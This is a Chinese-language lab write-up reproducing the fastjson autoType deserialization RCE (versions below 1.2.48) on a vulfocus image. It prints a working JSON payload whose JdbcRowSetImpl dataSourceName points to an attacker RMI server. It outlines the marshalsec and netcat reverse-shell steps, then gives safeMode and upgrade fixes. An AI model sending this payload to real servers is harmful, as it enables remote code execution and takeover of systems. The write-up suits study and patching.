漏洞存在原因
在fastjson<1.2.24版本中,在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。而在1.24<fastjson<1.2.48版本中后增加了反序列化白名单。
漏洞复现过程如下
在vulfocus平台中启动fastjson1.24版本漏洞镜像。(vulfocus中的fastjson版本1.2.24与1.2.48应该是互相传错了!)
访问fastjson对应8090的端口20450。
使用burpsuite拦截/请求。
修改请求方式为POST,以及修改Content-Type: application/json,并在下方添加json格式数据,进行测试。
在此处填写json数据时发现,只需要datasource数据即可实现getshell
"age":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.5.129:1099/exp_jndi",
"autoCommit":true
}
写exp文件,反弹shell。
使用python开启http服务。
使用marshalsec开启rmi服务。
使用netcat开启监听,获取到shell。
漏洞如何修复
临时防护措施:
若相关用户暂时无法进行升级操作,也可使用下列方式进行缓解:
通过开启safeMode配置完全禁用autoType。三种配置SafeMode的方式如下:
1.在代码中配置:
ParserConfig.getGlobalInstance().setSafeMode(true);
2.加上JVM启动参数:
-Dfastjson.parser.safeMode=true
如果有多个包名前缀,可用逗号隔开。
3.通过fastjson.properties文件配置:
通过类路径的fastjson.properties文件来配置,配置方式如下:
fastjson.parser.safeMode=true
正式修复方式:
升级到最新版本
升级步骤如下:
1.备份原fastjson依赖库,避免升级失败的情况发生。
2.将低版本的fastjson库替换为1.2.83版本即可
参考链接
Fastjson系列漏洞实战和总结:https://blog.csdn.net/qq_50854662/article/details/127234755
框架/组件漏洞系列2:fastjson漏洞汇总:https://blog.csdn.net/qq_45590334/article/details/121723316
fastjson 1.2.47 RCE漏洞保姆级复现:https://blog.csdn.net/text2206/article/details/128841278